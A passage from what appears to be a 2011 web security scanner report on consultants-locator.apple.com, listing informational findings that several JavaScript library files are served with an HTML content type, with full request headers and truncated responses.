http://boxover.swazz.org */

if (typeof document.attachEvent!='undefined') {
window.attachEvent('onload',in
...[SNIP]...
11.17. http://consultants-locator.apple.com/javascript/treeview/treeview-min.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/treeview/treeview-min.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/treeview/treeview-min.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:54 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:54 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 18470
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2008, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.5.2
*/
YAHOO.widget.TreeView=function(A){if(A){this.i
...[SNIP]...
11.18. http://consultants-locator.apple.com/javascript/wick.1295053156.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/wick.1295053156.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/wick.1295053156.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:38 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:38 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 24975
Connection: close
Content-Type: text/html;charset=UTF-8

/*
WICK: Web Input Completion Kit
http://wick.sourceforge.net/
Copyright (c) 2004, Christopher T. Holland
All rights reserved.

Redistribution and use in source and binary forms, with or without modif
...[SNIP]...
11.19. http://consultants-locator.apple.com/javascript/yui/accordionview.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/accordionview.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/yui/accordionview.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:54 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:54 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 36905
Connection: close
Content-Type: text/html;charset=UTF-8

(function() {

/**
*
* By Marco van Hylckama Vlieg (marco@i-marco.nl)
*
* THIS IS A WORK IN PROGRESS
*
* Many, many thanks go out to Daniel Satyam Barreiro!
*
...[SNIP]...
11.20. http://consultants-locator.apple.com/javascript/yui/animation.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/animation.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/yui/animation.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:54 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:54 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 13777
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2009, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.7.0
*/
(function(){var B=YAHOO.util;var A=function(D,
...[SNIP]...
11.21. http://consultants-locator.apple.com/javascript/yui/connection.1287529288.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/connection.1287529288.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /javascript/yui/connection.1287529288.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:37 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 11604
Connection: close
Content-Type: text/html;charset=UTF-8

/*
Copyright (c) 2009, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.7.0
*/
YAHOO.util.Connect={_msxml_progid:["Microsoft.
...[SNIP]...
11.22. http://consultants-locator.apple.com/javascript/yui/container.1287529288.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/yui/container.1287529288.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/yui/container.1287529288.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; 